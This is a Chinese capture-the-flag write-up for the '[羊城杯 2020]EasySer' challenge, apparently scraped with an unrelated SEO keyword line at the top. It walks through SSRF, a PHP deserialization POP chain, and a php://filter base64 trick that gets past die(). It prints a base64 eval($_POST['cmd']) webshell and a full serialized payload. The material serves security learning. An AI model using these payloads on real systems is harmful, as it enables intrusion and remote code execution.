山东圣大建设集团网站,前端网站做多语言,vue做网站,宁波网站建设zj95[羊城杯 2020]EasySer 进入页面#xff0c;发现是ubuntuapache2#xff0c;但是好像没啥用 尝试访问/robots.txt#xff0c;得到 访问/star1.php/#xff0c;查看源码#xff0c;得到提示 一看就知道是ssrf#xff0c;使用http://127.0.0.1/ser.php#xff0c;得到…[羊城杯 2020]EasySer 进入页面发现是ubuntuapache2但是好像没啥用 尝试访问/robots.txt得到 访问/star1.php/查看源码得到提示 一看就知道是ssrf使用http://127.0.0.1/ser.php得到源码
源码
?php
error_reporting(0);
if ( $_SERVER[REMOTE_ADDR] 127.0.0.1 ) {highlight_file(__FILE__);
}
$flag{Trump_:fake_news!};class GWHT{public $hero;public function __construct(){$this-hero new Yasuo;}public function __toString(){if (isset($this-hero)){return $this-hero-hasaki();}else{return You dont look very happy;}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file,$text) {$this - file $file;$this - text $text;}public function hasaki(){$d ?php die(nononon);?;$a $d. $this-text;file_put_contents($this- file,$a);}
}
class Yasuo{public function hasaki(){return Im the best happy windy man;}
}?pop链子很简单GWHT:__toString() Yongen:hasaki()
绕过死亡die()
[[绕死亡exit()或die()]] p神的文章谈一谈php://filter的妙用
使用编码和解码(base64)
首先利用的伪协议是php://filter/writeconvert.base64-decode/resource
将写入的内容进行base64解码后写入文件知识点
而PHP在解码base64时遇到不在其中的字符时将会跳过这些字符仅将合法字符组成一个新的字符串进行解码。
base64算法解码时是4个byte一组利用
由于、?、()、;、、\n、空格、、都不是base64编码的范围
编码字符范围包括a-z A-Z 0-9 /
直接拿?php exit();?举例
所以最终被解码的字符仅有“phpexit”和我们传入的其他字符
“phpexit”一共7个字符因为base64算法解码时是4个byte一组所以给他增加1个“a”一共8个字符。
这样phpexita被正常解码而后面我们传入的webshell的base64内容也被正常解码。结果就是?php exit; ?没有了。这时如果传入的是php://filter/writeconvert.base64-decode/resourcea.PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4
注base64_encode(?php eval($_POST[cmd]);?)PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4则phpexita被正常解码变为乱码PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4解码后变为一句话木马除了上面直接看还可以直接用代码打开文件查看试几次就出来了
?php
$filename php://filter/writeconvert.base64-decode/resourceshell.php;
$data PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4;
$add_str 111;
$d ?php die(nononon);?;
$data $d . $add_str . $data;
file_put_contents($filename, $data);phpdienononon总共13个字符所以需要加3个字符
Arjun
接受序列化的参数在哪里呢使用Arjun爆破现在知道了ser.php源码还有flag.php和star1.php不知道爆破了flag.php啥都没有爆破star1.php得到
使用工具Arjun进行参数爆破
命令python3 arjun -u http://aac8b7e4-008f-486a-9642-232db8c62642.node4.buuoj.cn:81/ -c 100 -d 5
解释-c :一次发送的参数数 -d:请求之间的延迟(秒),默认值0
如果不加-d 5可能就会429然后导致爆破不出来当然加上延时后速度自然慢的离谱得到第二个参数c
payload
?php
class GWHT{public $hero;}
class Yongen{//flag.phppublic $filephp://filter/writeconvert.base64-decode/resourceshell.php;public $testaaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4;}
$anew GWHT();
$a-heronew Yongen();
echo serialize($a);
//O:4:GWHT:1:{s:4:hero;O:6:Yongen:2:{s:4:file;s:59:php://filter/writeconvert.base64-decode/resourceshell.php;s:4:text;s:43:aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4;}}paylod
/star1.php?pathhttp://127.0.0.1/ser.phpcO:4:GWHT:1:{s:4:hero;O:6:Yongen:2:{s:4:file;s:59:php://filter/writeconvert.base64-decode/resourceshell.php;s:4:text;s:43:aaaPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4;}}链接AntSword在根目录下面得到flag对了flag.php是空的什么都没有